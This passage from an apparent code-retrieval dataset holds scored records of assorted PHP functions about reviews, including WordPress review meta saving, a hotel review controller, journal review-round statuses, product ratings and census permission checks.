FILTER_SANITIZE_STRING ),\n\t\t'wp_review_fontcolor' => filter_input( INPUT_POST, 'wp_review_fontcolor', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_bgcolor1' => filter_input( INPUT_POST, 'wp_review_bgcolor1', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_bgcolor2' => filter_input( INPUT_POST, 'wp_review_bgcolor2', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_bordercolor' => filter_input( INPUT_POST, 'wp_review_bordercolor', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_fontfamily' => filter_input( INPUT_POST, 'wp_review_fontfamily', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_width' => filter_input( INPUT_POST, 'wp_review_width', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_align' => filter_input( INPUT_POST, 'wp_review_align', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_author' => filter_input( INPUT_POST, 'wp_review_author', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_schema' => filter_input( INPUT_POST, 'wp_review_schema', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_rating_schema' => filter_input( INPUT_POST, 'wp_review_rating_schema', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_show_schema_data' => filter_input( INPUT_POST, 'wp_review_show_schema_data', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_comment_rating_type' => filter_input( INPUT_POST, 'wp_review_comment_rating_type', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_user_review_type' => filter_input( INPUT_POST, 'wp_review_user_review_type', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_product_price' => filter_input( INPUT_POST, 'wp_review_product_price', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_box_template' => filter_input( INPUT_POST, 'wp_review_box_template', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_hello_bar' => isset( $_POST['wp_review_hello_bar'] ) ? wp_unslash( $_POST['wp_review_hello_bar'] ) : '',\n\t\t'wp_review_popup' => isset( $_POST['wp_review_popup'] ) ? wp_unslash( $_POST['wp_review_popup'] ) : '',\n\t\t'wp_review_allow_comment_feedback' => filter_input( INPUT_POST, 'wp_review_allow_comment_feedback', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_enable_embed' => filter_input( INPUT_POST, 'wp_review_enable_embed', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_comment_pros_cons' => filter_input( INPUT_POST, 'wp_review_comment_pros_cons', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_comment_image' => filter_input( INPUT_POST, 'wp_review_comment_image', FILTER_SANITIZE_STRING ),\n\t\t'wp_review_comment_product_desc' => filter_input( INPUT_POST, 'wp_review_comment_product_desc', FILTER_SANITIZE_STRING ),\n\t);\n\n\t$default_colors = wp_review_get_global_colors();\n\t$default_color = $default_colors['color'];\n\t$default_inactive = $default_colors['inactive_color'];\n\n\tif ( $meta['wp_review_color'] === $default_color ) {\n\t\t$meta['wp_review_color'] = '';\n\t}\n\n\tif ( $meta['wp_review_inactive_color'] === $default_inactive ) {\n\t\t$meta['wp_review_inactive_color'] = '';\n\t}\n\n\tif ( is_array( $meta['wp_review_hello_bar'] ) ) {\n\t\tforeach ( $meta['wp_review_hello_bar'] as $key => $value ) {\n\t\t\t$meta['wp_review_hello_bar'][ $key ] = wp_review_normalize_option_value( $value );\n\t\t}\n\t}\n\n\tif ( is_array( $meta['wp_review_popup'] ) ) {\n\t\tforeach ( $meta['wp_review_popup'] as $key => $value ) {\n\t\t\t$meta['wp_review_popup'][ $key ] = wp_review_normalize_option_value( $value );\n\t\t}\n\t}\n\n\tforeach ( $meta as $meta_key => $new_meta_value ) {\n\t\t$new_meta_value = wp_review_normalize_option_value( $new_meta_value );\n\n\t\tif ( 'wp_review_enable_embed' === $meta_key && wp_review_option( 'enable_embed' ) == $new_meta_value ) {\n\t\t\t$new_meta_value = '';\n\t\t}\n\n\t\tif ( false === $new_meta_value ) {\n\t\t\t$new_meta_value = '0';\n\t\t}\n\n\t\tif ( current_user_can( 'delete_post_meta', $post_id ) && '' === $new_meta_value ) {\n\t\t\tdelete_post_meta( $post_id, $meta_key );\n\t\t\tcontinue;\n\t\t}\n\n\t\tif ( current_user_can( 'edit_post_meta', $post_id ) ) {\n\t\t\tupdate_post_meta( $post_id, $meta_key, $new_meta_value );\n\t\t}\n\t}\n\n\twp_review_save_review_items_data( $post_id );\n\n\t$old = get_post_meta( $post_id, 'wp_review_item', true );\n\t$link_text = (array) filter_input( INPUT_POST, 'wp_review_link_title', FILTER_SANITIZE_STRING, FILTER_FORCE_ARRAY );\n\t$link_url = (array) filter_input( INPUT_POST, 'wp_review_link_url', FILTER_SANITIZE_STRING, FILTER_FORCE_ARRAY );\n\t$link_nofollow = (array) filter_input( INPUT_POST, 'wp_review_link_nofollow', FILTER_SANITIZE_STRING, FILTER_FORCE_ARRAY );\n\n\t$new_links = array_map( 'wp_review_get_default_links', $link_text, $link_url, $link_nofollow );\n\n\tif ( empty( $new_links ) ) {\n\t\tdelete_post_meta( $post_id, 'wp_review_links' );\n\t} else {\n\t\tupdate_post_meta( $post_id, 'wp_review_links', $new_links );\n\t}\n\n\tif ( isset( $_POST['wp_review_schema_options'] ) ) {\n\t\tupdate_post_meta( $post_id, 'wp_review_schema_options', $_POST['wp_review_schema_options'] );\n\t}\n\n\t/**\n\t * Delete all data when switched to 'No Review' type.\n\t */\n\tif ( 'none' === $type && ! wp_review_option( 'global_user_rating', false ) ) {\n\t\tdelete_post_meta( $post_id, 'wp_review_desc', $_POST['wp_review_desc'] );\n\t\tdelete_post_meta( $post_id, 'wp_review_heading', $_POST['wp_review_heading'] );\n\t\tdelete_post_meta( $post_id, 'wp_review_userReview', $_POST['wp_review_userReview'] );\n\t\tdelete_post_meta( $post_id, 'wp_review_item', $old );\n\t}\n\n}", "title": "" }, { "docid": "1be4c434a18d8eafd60731c99f1c8d24", "score": "0.4397642", "text": "function getDisapproved() {\n return $this->getFirstValue(_GSC_Tags::$disapproved);\n }", "title": "" }, { "docid": "a6473f2019db39071b82bdaed1accd87", "score": "0.43963665", "text": "function internalReview($args, &$request) {\n\t\t// Use different ops so we can identify stage by op.\n\t\t$templateMgr =& TemplateManager::getManager();\n\t\t$templateMgr->assign('reviewRoundOp', 'internalReviewRound');\n\t\treturn $this->_review($args, $request);\n\t}", "title": "" }, { "docid": "c9f7268c54b634ec0f71e34aa8989798", "score": "0.4391782", "text": "function hotel_review() {\n\t\t//get_room_details used to set CHILD AGE LIMIT in header.php\n\t\t$uri = 'room/get_room_details';\n\t\t$params = 'property_id=' . $this->config->item ( 'property_id', 'yosemite' ) . '&destination_id=' . $this->config->item ( 'destination_id', 'yosemite' );\n\t\t$room_details = $this->rest->{$this->method} ( $uri, $params );\n\t\tif (trim ( $room_details ['status'] ) == 'failure' && trim ( $room_details ['error_code'] ) == 20) {\n\t\t\t$this->get_token ();\n\t\t\t$this->index ();\n\t\t} elseif (trim ( $room_details ['status'] ) != 'success') {\n\t\t\t//die($room_details['error']);\n\t\t\tif ($_SERVER ['HTTP_X_REQUESTED_WITH'] === \"XMLHttpRequest\") {\n\t\t\t\t$this->load->view ( 'ywl/popup_error_message' );\n\t\t\t} else {\n\t\t\t\t$this->load->view ( 'ywl/error_message' );\n\t\t\t}\n\t\t}\n\t\t\n\t\t$uri = 'property/get_property_details';\n\t\t$params = 'property_id=' . $this->config->item ( 'property_id', 'yosemite' );\n\n\t\t$property_details = $this->rest->{$this->method} ( $uri, $params );\n\t\t// echo('<pre>');print_r($property_details);echo('</pre>');exit;\n\t\tif (trim ( $property_details ['status'] ) == 'failure' && trim ( $property_details ['error_code'] ) == 20) {\n\t\t\t$this->get_token ();\n\t\t\t$this->hotel_review ();\n\t\t} elseif (trim ( $property_details ['status'] ) != 'success') {\n\t\t\t//die($property_details['error']);\n\t\t\tif ($_SERVER ['HTTP_X_REQUESTED_WITH'] === \"XMLHttpRequest\") {\n\t\t\t\t$this->load->view ( 'ywl/popup_error_message' );\n\t\t\t} else {\n\t\t\t\t$this->load->view ( 'ywl/error_message' );\n\t\t\t}\n\t\t}\n\n\t\t$uri = 'property/get_property_amenities';\n\t\t$params = 'property_id=' . $this->config->item ( 'property_id', 'yosemite' );\n\n\t\t$amenities = $this->rest->{$this->method} ( $uri, $params );\n\t\tif (trim ( $amenities ['status'] ) == 'failure' && trim ( $amenities ['error_code'] ) == 20) {\n\t\t\t$this->get_token ();\n\t\t\t$this->hotel_review ();\n\t\t} elseif (trim ( $amenities ['status'] ) != 'success') {\n\t\t\t//die($amenities['error']);\n\t\t\tif ($_SERVER ['HTTP_X_REQUESTED_WITH'] === \"XMLHttpRequest\") {\n\t\t\t\t$this->load->view ( 'ywl/popup_error_message' );\n\t\t\t} else {\n\t\t\t\t$this->load->view ( 'ywl/error_message' );\n\t\t\t}\n\t\t}\n\n\t\t$uri = 'property/get_property_images';\n\t\t$params = 'property_id=' . $this->config->item ( 'property_id', 'yosemite' ) . '&destination_id=' . $this->config->item ( 'destination_id', 'yosemite' );\n\t\t$property_images = $this->rest->{$this->method} ( $uri, $params );\n\n\t\tif (trim ( $property_images ['status'] ) == 'failure' && trim ( $property_images ['error_code'] ) == 20) {\n\t\t\t$this->get_token ();\n\t\t\t$this->hotel_review ();\n\t\t} elseif (trim ( $property_images ['status'] ) != 'success') {\n\t\t\t//die($property_images['error']);\n\t\t\tif ($_SERVER ['HTTP_X_REQUESTED_WITH'] === \"XMLHttpRequest\") {\n\t\t\t\t$this->load->view ( 'ywl/popup_error_message' );\n\t\t\t} else {\n\t\t\t\t$this->load->view ( 'ywl/error_message' );\n\t\t\t}\n\t\t}\n\n\t\t$uri = 'room/get_room_images';\n\t\t$params = 'property_id=' . $this->config->item ( 'property_id', 'yosemite' ) . '&destination_id=' . $this->config->item ( 'destination_id', 'yosemite' );\n\n\t\t$room_images = $this->rest->{$this->method} ( $uri, $params );\n\t\tif (trim ( $room_images ['status'] ) == 'failure' && trim ( $room_images ['error_code'] ) == 20) {\n\t\t\t$this->get_token ();\n\t\t\t$this->hotel_review ();\n\t\t} elseif (trim ( $room_images ['status'] ) != 'success') {\n\t\t\t//die($room_images['error']);\n\t\t\tif ($_SERVER ['HTTP_X_REQUESTED_WITH'] === \"XMLHttpRequest\") {\n\t\t\t\t$this->load->view ( 'ywl/popup_error_message' );\n\t\t\t} else {\n\t\t\t\t$this->load->view ( 'ywl/error_message' );\n\t\t\t}\n\t\t}\n\n\t\t$uri = 'property/get_property_policies';\n\t\t$params = 'property_id=' . $this->config->item ( 'property_id', 'yosemite' );\n\n\t\t$policies = $this->rest->{$this->method} ( $uri, $params );\n\t\tif (trim ( $policies ['status'] ) == 'failure' && trim ( $policies ['error_code'] ) == 20) {\n\t\t\t$this->get_token ();\n\t\t\t$this->hotel_review ();\n\t\t} elseif (trim ( $policies ['status'] ) != 'success') {\n\t\t\t//die($policies['error']);\n\t\t\tif ($_SERVER ['HTTP_X_REQUESTED_WITH'] === \"XMLHttpRequest\") {\n\t\t\t\t$this->load->view ( 'ywl/popup_error_message' );\n\t\t\t} else {\n\t\t\t\t$this->load->view ( 'ywl/error_message' );\n\t\t\t}\n\t\t}\n\t\t$images = $this->_merge_property_room_images ( $property_images ['responseData'], $room_images ['responseData'] );\n\n\t\t$avail_room_types = $this->get_available_room_types ();\n\t\t$no_of_rooms = ($this->input->post ( 'no_of_rooms' ) > 0) ? $this->input->post ( 'no_of_rooms' ) : 1;\n\n\t\t$this->load->view ( 'ywl/hotel_review', array ('active_tab' => 'hotel_review', 'weather' => $this->_weather, 'property' => $this->_property_info ['responseData'], 'amenities' => $amenities ['responseData'], 'policies' => $policies ['responseData'], 'room_images' => $room_images ['responseData'], 'property_images' => $property_images ['responseData'], 'property_details' => $property_details ['responseData'], 'images' => $images, 'weather' => $this->_weather, 'debug' => '', 'room_details' => $room_details ['responseData'] ) );\n\t}", "title": "" }, { "docid": "55fde7cb16a1aa86a36a51d5cbb7982d", "score": "0.4390816", "text": "public function getPreviewsList(){\n return $this->_get(4);\n }", "title": "" }, { "docid": "e112463c23f782a57030c4f665a2a6d1", "score": "0.43887454", "text": "public function getContent()\n {\n return $this->review->Content;\n }", "title": "" }, { "docid": "a07a697df9253136d23e5ad77f31df00", "score": "0.43881205", "text": "public function outcome(){\n\n if($this->player1->award==\"Win\"){\n $outcome[]=array(\n \"p1Gesture\"=>$this->player1->gestureName,\n \"p1GestureFA\"=>$this->player1->gestureFA,\n \"winnerGesture\"=>$this->player1->gestureName,\n \"action\"=>$this->player1->gestureAction,\n \"loserGesture\"=>$this->player2->gestureName,\n \"p2Gesture\"=>$this->player2->gestureName,\n \"p2GestureFA\"=>$this->player2->gestureFA,\n \"outcomeText\"=>\"Player 1 Wins!\"\n );\n }elseif($this->player2->award==\"Win\"){\n $outcome[]=array(\n \"p1Gesture\"=>$this->player1->gestureName,\n \"p1GestureFA\"=>$this->player1->gestureFA,\n \"winnerGesture\"=>$this->player2->gestureName,\n \"action\"=>$this->player2->gestureAction,\n \"loserGesture\"=>$this->player1->gestureName,\n \"p2Gesture\"=>$this->player2->gestureName,\n \"p2GestureFA\"=>$this->player2->gestureFA,\n \"outcomeText\"=>\"Player 2 Wins!\"\n );\n }else{\n $outcome[]=array(\n \"p1Gesture\"=>$this->player1->gestureName,\n \"p1GestureFA\"=>$this->player1->gestureFA,\n \"winnerGesture\"=>\"\",\n \"action\"=>\"\",\n \"loserGesture\"=>\"\",\n \"p2Gesture\"=>$this->player2->gestureName,\n \"p2GestureFA\"=>$this->player2->gestureFA,\n \"outcomeText\"=>\"Draw!\"\n );\n }\n\n return $outcome;\n }", "title": "" }, { "docid": "3d59513e00e78248a7d90482a0db60a1", "score": "0.43830958", "text": "function wikicompare_get_dialog_response($context, $type, $container, $nid){\n\n //In the option of the simple dialog, we need to provide an anchor which indicate the content to display in the popin.\n $output = t(\"<div id='dialog-content'>\");\n\n //Initialize settings with the context. We also display all states to ensure we have access to all nodes in the popin.\n $settings = wikicompare_initialize_settings(array('context' => $context, 'states' => array('draft' => 'draft', 'closed' => 'closed')));\n\n //Indicate if on submit we must update selected_criterion_ids or manual_selected_criterion_ids in the javascript global variable.\n $output .= '<div id=\"initialize_selected_criterion_dialog_ids\" style=\"display:none;\">';\n if ($container == 'manual-selected-criterions') {\n $output .= 'manual';\n } else {\n $output .= 'form';\n }\n $output .= '</div>';\n\n //Indicate the type of the nodes displayed in the popin.\n $output .= '<div id=\"dialog_type\" style=\"display:none;\">' . $type . '</div>';\n\n //Indicate the container to update when we submit the popin.\n $output .= '<div id=\"select_container\" style=\"display:none;\">' . $container . '</div>';\n\n //If there is a forbiden_id, we indicate it so the javascript can recover him in his ajax call.\n if ($nid != 0) {\n $output .= '<div id=\"forbidden_nid\" style=\"display:none;\">' . $nid . '</div>';\n //We also add it in settings for the itemlist we will build in this function.\n $settings['forbidden_nid'] = $nid;\n }\n\n //Find all the nodes on the first level of the tree.\n $nodes = request_db($type, array('parent_id' => NULL), $settings);\n\n //Building the data for the itemlist.\n $itemlist_data = wikicompare_build_itemlist($type, $nodes, 0, $settings);\n\n //Render the itemlist.\n $output .= theme_item_list(array('items' => $itemlist_data, 'type' => 'ul', 'attributes' => array()));\n\n //If we have to select several items, then we add a button at the end of the popin. This button is linked to an hidden javascript link.\n if ($settings['context'] == 'multidialog') {\n $submit_link = array(\n '#type' => 'link',\n '#title' => 'Submit',\n '#href' => 'wikicompare_submit_dialog_callback/nojs',\n '#id' => 'submitlink_dialog',\n '#attributes' => array(\n 'class' => array('simple_ajaxlink'),\n 'action' => 'submit_dialog',\n 'style' => 'display:none',\n ),\n );\n $output .= '<p><input id=\"submitbutton_dialog\" type=\"submit\" link=\"submitlink_dialog\" value=\"Submit\" class=\"button wikicompare_button\"/>' . render($submit_link) . '</p>';\n }\n\n $output .= t(\"</div>\");\n\n return $output;\n\n}", "title": "" }, { "docid": "d19c7679611a5258b4d7a47d9b57e890", "score": "0.43788552", "text": "function renderAdminReviewPanel($project, $categories) {\n\n $pId = $project->getId();\n $pStatusName = $project->getStatus()->getName();\n $pCategoryId = $project->getCategory()->getId();\n $pCategoryName = $project->getCategory()->getName();\n $pIsHidden = $project->getIsHidden();\n $pIsArchived = $project->getIsArchived();\n $pComments = $project->getProposerComments();\n\n $actions = array();\n if ($pStatusName == 'Pending Approval') {\n $actions[] = 'Project Review';\n }\n if ($pCategoryName == 'None') {\n $actions[] = 'Project Category Placement';\n }\n $visibility = $pIsHidden\n\t\t\t\t\t? 'Private Project (Not viewable on Browse Projects)' \n\t\t\t\t\t: 'Public Project';\n $actionsHtmlContent = count($actions) > 0 \n\t\t\t\t\t? 'Action Required: ' . implode(' and ', $actions)\n : 'No action required at this time';\n\n $commentsHtml = $pComments != '' \n\t\t\t\t\t? \"<h6><p style='color:red'>Proposer Comments: $pComments</p></h6>\"\n : '';\n $isArchived = $pIsArchived\n ? 'Archived Project (Not longer Active)'\n : '';\n\n $options = '';\n foreach ($categories as $c) {\n $id = $c->getId();\n $name = $c->getName();\n $selected = $id == $pCategoryId ? 'selected' : '';\n $options .= \"<option $selected value='$id'>$name</option>\";\n }\n\n $viewButtonStyle = $pIsHidden ? 'display: none;' : '';\n\n echo \"\n <br/>\n <div class='row'>\n <div class='col-sm-3'></div>\n <div class='col-sm-6 border rounded border-dark' id='adminProjectStatusDiv'>\n <center><h4><p style='color: black;'>-- Admin Project Status Review --</p></h4></center>\n <h6><p style='color:red'>$actionsHtmlContent</p></h6>\n <h6><p style='color:red'>$visibility</p></h6>\n <h6><p style='color:red'>$isArchived</p></h6>\n $commentsHtml\n <h6><p style='color:black'>Current Project Status: $pStatusName</p></h6>\n <h6><p style='color:black'>Major Category: $pCategoryName</p></h6>\n <select class='form-control' id='projectCategorySelect' data-toggle='tooltip'\n data-placement='top' title=''>\n $options\n </select>\n <center>\n <a href='pages/viewSingleProject.php?id=$pId'>\n <button class='btn btn-lg btn-primary admin-btn' type='button' style='$viewButtonStyle' \n id='adminViewProjectBtn'>\n View Project &raquo\n </button>\n </a>\n <button class='btn btn-lg btn-success admin-btn' type='button' \n id='adminApproveProjectBtn'>Approve Project</button>\n <button class='btn btn-lg btn-danger admin-btn' type='button' \n id='adminUnapproveProjectBtn'>Reject/Unapprove Project</button>\n <br/>\n <button class='btn btn-lg btn-outline-danger admin-btn' type='button' \n id='adminMakeProjectPrivateBtn'>Make Project Private</button>\n <button class='btn btn-lg btn-outline-info admin-btn' type='button' \n id='adminMakeProjectNotPrivateBtn'>Make Project Public</button>\n <button class='btn btn-lg btn-outline-danger admin-btn' type='button' \n id='adminMakeProjectArchivedBtn'>Archive Project</button>\n <a href='pages/adminProject.php'>\n <button class='btn btn-lg btn-primary admin-btn' type='button' \n id='adminReturnBtn'>Return &raquo</button>\n </a>\n </center>\n <div id='approvedText' class='adminText' \n style='color: green;'>Project Approved!</div>\n <div id='rejectedText' class='adminText' \n style='color: red;'>Project Rejected!</div>\n <div id='privateText' class='adminText' \n style='color: red;'>Project Now Private! (Will NOT show up in Browse Projects)</div>\n <div id='publicText' class='adminText' \n style='color: blue;'>Project Now Public! (WILL show up in Browse Projects)</div>\n <div id='categoryText' class='adminText' \n style='color: green;'>Category Changed!</div>\n <div id='archivedText' class='adminText' \n style='color: blue;'>Project Archived! (No Longer Active)</div>\n </div>\n </div>\n <div class='col-sm-3'></div>\n \";\n}", "title": "" }, { "docid": "d9720862c0a1a10f71dccde6a1abd2b8", "score": "0.43698093", "text": "function civil_works_opinion($opinion, $cw_museum, $resource)\r\n{\r\n\t// Diamonds are currently resource #7\r\n\tif($cw_museum == 4)\r\n\t{\r\n\t\tif($resource == 7)\r\n\t\t{\r\n\t\t\t$opinion_impact = ($opinion * 1.06);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$opinion_impact = ($opinion * 1.04);\r\n\t\t}\r\n\t}\r\n\telseif($cw_museum == 3)\r\n\t{\r\n\t\tif($resource == 7)\r\n\t\t{\r\n\t\t\t$opinion_impact = ($opinion * 1.045);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$opinion_impact = ($opinion * 1.03);\r\n\t\t}\r\n\t}\r\n\telseif($cw_museum == 2)\r\n\t{\r\n\t\tif($resource == 7)\r\n\t\t{\r\n\t\t\t$opinion_impact = ($opinion * 1.03);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$opinion_impact = ($opinion * 1.02);\r\n\t\t}\r\n\t}\r\n\telseif($cw_museum == 1)\r\n\t{\r\n\t\tif($resource == 7)\r\n\t\t{\r\n\t\t\t$opinion_impact = ($opinion * 1.015);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t$opinion_impact = ($opinion * 1.01);\r\n\t\t}\r\n\t}\r\n\telse\r\n\t{\r\n\t\t$opinion_impact = $opinion;\r\n\t}\r\n\r\n\treturn $opinion_impact;\r\n}", "title": "" }, { "docid": "f114e22c88d23a9dd9ab49badcce795e", "score": "0.43694085", "text": "public function setReviewMode( $value = true ) {\n\t\t$this->reviewMode = $value;\n\t}", "title": "" }, { "docid": "071d42799419e9f652a8f5ef1c3d7bf1", "score": "0.4366283", "text": "function &getReviewAssignments($round = null) {\n\t\tif ($round == null) {\n\t\t\treturn $this->reviewAssignments;\n\t\t} else {\n\t\t\treturn $this->reviewAssignments[$round];\n\t\t}\n\t}", "title": "" }, { "docid": "9153876a31085a73bac711159aea7541", "score": "0.43655908", "text": "private static function review_fields() {\n return ['course', 'completionrate', 'completionreview'];\n }", "title": "" }, { "docid": "e54d973f1f6fa8515dca9fd0e2bf9842", "score": "0.43627873", "text": "function getStatusKey($isAuthor = false) {\n\t\tswitch ($this->determineStatus()) {\n\t\t\tcase REVIEW_ROUND_STATUS_REVISIONS_REQUESTED:\n\t\t\t\treturn 'editor.submission.roundStatus.revisionsRequested';\n\t\t\tcase REVIEW_ROUND_STATUS_REVISIONS_SUBMITTED:\n\t\t\t\treturn 'editor.submission.roundStatus.revisionsSubmitted';\n\t\t\tcase REVIEW_ROUND_STATUS_RESUBMITTED:\n\t\t\t\treturn 'editor.submission.roundStatus.resubmitted';\n\t\t\tcase REVIEW_ROUND_STATUS_SENT_TO_EXTERNAL:\n\t\t\t\treturn 'editor.submission.roundStatus.sentToExternal';\n\t\t\tcase REVIEW_ROUND_STATUS_ACCEPTED:\n\t\t\t\treturn 'editor.submission.roundStatus.accepted';\n\t\t\tcase REVIEW_ROUND_STATUS_DECLINED:\n\t\t\t\treturn 'editor.submission.roundStatus.declined';\n\t\t\tcase REVIEW_ROUND_STATUS_PENDING_REVIEWERS:\n\t\t\t\treturn 'editor.submission.roundStatus.pendingReviewers';\n\t\t\tcase REVIEW_ROUND_STATUS_PENDING_REVIEWS:\n\t\t\t\treturn 'editor.submission.roundStatus.pendingReviews';\n\t\t\tcase REVIEW_ROUND_STATUS_REVIEWS_READY:\n\t\t\t\treturn $isAuthor?'author.submission.roundStatus.reviewsReady':'editor.submission.roundStatus.reviewsReady';\n\t\t\tcase REVIEW_ROUND_STATUS_REVIEWS_COMPLETED:\n\t\t\t\treturn 'editor.submission.roundStatus.reviewsCompleted';\n\t\t\tcase REVIEW_ROUND_STATUS_REVIEWS_OVERDUE:\n\t\t\t\treturn 'editor.submission.roundStatus.reviewOverdue';\n\t\t\tcase REVIEW_ROUND_STATUS_PENDING_RECOMMENDATIONS:\n\t\t\t\treturn 'editor.submission.roundStatus.pendingRecommendations';\n\t\t\tcase REVIEW_ROUND_STATUS_RECOMMENDATIONS_READY:\n\t\t\t\treturn 'editor.submission.roundStatus.recommendationsReady';\n\t\t\tcase REVIEW_ROUND_STATUS_RECOMMENDATIONS_COMPLETED:\n\t\t\t\treturn 'editor.submission.roundStatus.recommendationsCompleted';\n\t\t\tdefault: return null;\n\t\t}\n\t}", "title": "" }, { "docid": "9d482ebb6b328bb4c38ab1d56f2a9753", "score": "0.43551278", "text": "public function review () {\n\t\t$msg=\"\";\n\n\t\t$model = VmModel::getModel ('ratings');\n\t\t$virtuemart_product_id = vRequest::getInt('virtuemart_product_id',0);\n\n\t\t$allowReview = $model->allowReview($virtuemart_product_id);\n\t\t$allowRating = $model->allowRating($virtuemart_product_id);\n\t\tif($allowReview || $allowRating){\n\t\t\t$return = $model->saveRating ();\n\t\t\tif ($return !== FALSE) {\n\t\t\t\t$msg = vmText::sprintf ('COM_VIRTUEMART_STRING_SAVED', vmText::_ ('COM_VIRTUEMART_REVIEW'));\n\n\t\t\t\t$data = vRequest::getPost();\n\t\t\t\tshopFunctionsF::sendRatingEmailToVendor($data);\n\t\t\t}\n\t\t}\n\t\t$virtuemart_category_id = vRequest::getInt('virtuemart_category_id',0);\n\t\t$this->setRedirect (JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id.'&virtuemart_category_id='.$virtuemart_category_id, FALSE), $msg);\n\n\t}", "title": "" }, { "docid": "840386b0185207ab53be209ee5195ab7", "score": "0.4353052", "text": "function nul_census_custom_check_status_permisions($status = NULL, $contentType, $nid = NULL) {\n $term = taxonomy_term_load($status);\n if (!empty($term->name)) {\n $status = $term->name;\n }\n global $user;\n $canResubmit = FALSE;\n $canEdit = FALSE;\n $canView = FALSE;\n $myAffiliate = FALSE;\n if (!empty($nid)) {\n // check that logged in user and node affiliate match\n $loggedInUserAffiliate = nul_census_custom_get_affiliate_from_user();\n $nodeAffiliateNode = nul_census_custom_get_affiliate_from_node($nid, $contentType);\n if ($loggedInUserAffiliate == $nodeAffiliateNode) {\n $myAffiliate = TRUE;\n }\n }\n\n // IF user is an administrator they can edit whatever always\n if (in_array('administrator', $user->roles) || user_access('edit all affiliate censuses')) {\n $canEdit = TRUE;\n $canResubmit = TRUE;\n $canView = TRUE;\n }\n elseif (user_access('view all affiliate censuses')) {\n $canEdit = FALSE;\n $canResubmit = FALSE;\n $canView = TRUE;\n }\n // If user is not admin check permissions\n elseif ($myAffiliate && user_access('edit own affiliate censuses')) {\n $canView = TRUE;\n if ($contentType == 'tab') {\n switch ($status) {\n case 'Incomplete':\n $canEdit = TRUE;\n break;\n\n case 'Complete':\n if (user_access('edit census tabs with status submitted reviewed complete or review complete') || user_access('edit census with status complete')) {\n $canEdit = TRUE;\n }\n else {\n $canEdit = FALSE;\n }\n break;\n\n case 'Resubmit':\n if (user_access('edit census tabs with status resubmit')) {\n $canEdit = TRUE;\n $canResubmit = TRUE;\n }\n else {\n $canEdit = FALSE;\n }\n break;\n\n case 'Reviewed':\n if (user_access('edit census tabs with status submitted reviewed complete or review complete')) {\n $canEdit = TRUE;\n }\n else {\n $canEdit = FALSE;\n }\n break;\n\n case 'Reviewed Complete':\n if (user_access('edit census tabs with status submitted reviewed complete or review complete')) {\n $canEdit = TRUE;\n }\n else {\n $canEdit = FALSE;\n }\n break;\n\n case 'Submitted':\n if (user_access('edit census tabs with status submitted reviewed complete or review complete')) {\n $canEdit = TRUE;\n }\n else {\n $canEdit = FALSE;\n }\n break;\n\n default:\n $canEdit = FALSE;\n\n break;\n }\n }\n if ($contentType == 'census') {\n switch ($status) {\n case 'Incomplete':\n $canEdit = TRUE;\n break;\n\n case 'Complete':\n if (user_access('edit census with status complete')) {\n $canEdit = TRUE;\n }\n else {\n $canEdit = FALSE;\n }\n break;\n\n case 'Reviewed Complete':\n $canEdit = FALSE;\n break;\n\n case 'Submitted':\n if (user_access('edit census with status submitted')) {\n $canEdit = TRUE;\n }\n else {\n $canEdit = FALSE;\n }\n break;\n\n default:\n $canEdit = FALSE;\n\n break;\n\n }\n }\n }\n return array(\n 'canEdit' => $canEdit,\n 'canResubmit' => $canResubmit,\n 'canView' => $canView,\n );\n}", "title": "" }, { "docid": "576b6127f62c811d2500286f0e84685f", "score": "0.43458593", "text": "function show_reviews($files, $half, $temp) {\n?>\n\t\t<div class=\"columns\">\n\t\t\t<?php\n\t\t\t\tfor ($i = $temp - $half; $i < $temp; $i++) {\n\t\t\t\t\t$review = file($files[$i], FILE_IGNORE_NEW_LINES);\n\t\t\t?>\n\t\t\t<p class=\"review\">\n\t\t\t\t<?php\n\t\t\t\t\tif (strcmp($review[1], \"FRESH\") == 0) {\n\t\t\t\t?>\n\t\t\t\t\t\t<img src=\"https://webster.cs.washington.edu/images/fresh.gif\" alt=\"Fresh Review\">\n\t\t\t\t<?php\n\t\t\t\t\t} else {\n\t\t\t\t?>\n\t\t\t\t\t\t<img src=\"https://webster.cs.washington.edu/images/rotten.gif\" alt=\"Rotten Review\">\n\t\t\t\t<?php\n\t\t\t\t\t}\n\t\t\t\t?>\n\t\t\t\t<q><?= trim($review[0]) ?></q>\n\t\t\t</p>\n\t\t\t<p class=\"avatar\">\n\t\t\t\t<img src=\"https://webster.cs.washington.edu/images/critic.gif\" alt=\"Critic\">\n\t\t\t\t<?= $review[2] ?> <br>\n\t\t\t\t<span class=\"publication\"><?= $review[3] ?></span>\n\t\t\t</p>\n\t\t\t<?php\n\t\t\t\t}\n\t\t\t?>\n\t\t</div>\n<?php\n\t}", "title": "" }, { "docid": "723044ca2cb6bb89f129ff0dcc42ea8a", "score": "0.43425205", "text": "function cmtTest($mode)\n {\n // Test if sorting by comments setted\n if($mode == 1)\n {\n if(!is_null($this->cmtsort))\n {\n return $this->cmtsort;\n }\n if( strstr($this->getConfig('sorting'), 'cmtcount')\n || strstr($this->getConfig('sorting'), 'cmtdate')\n || strstr($this->getConfig('sorting'), 'commentrand')\n )\n {\n $this->cmtsort = true;\n }\n else\n {\n $this->cmtsort = false;\n }\n return $this->cmtsort;\n }\n\n // Test if output of one ore more comment texts active\n if(!is_null($this->cmttext))\n {\n return $this->cmttext;\n }\n\n if( 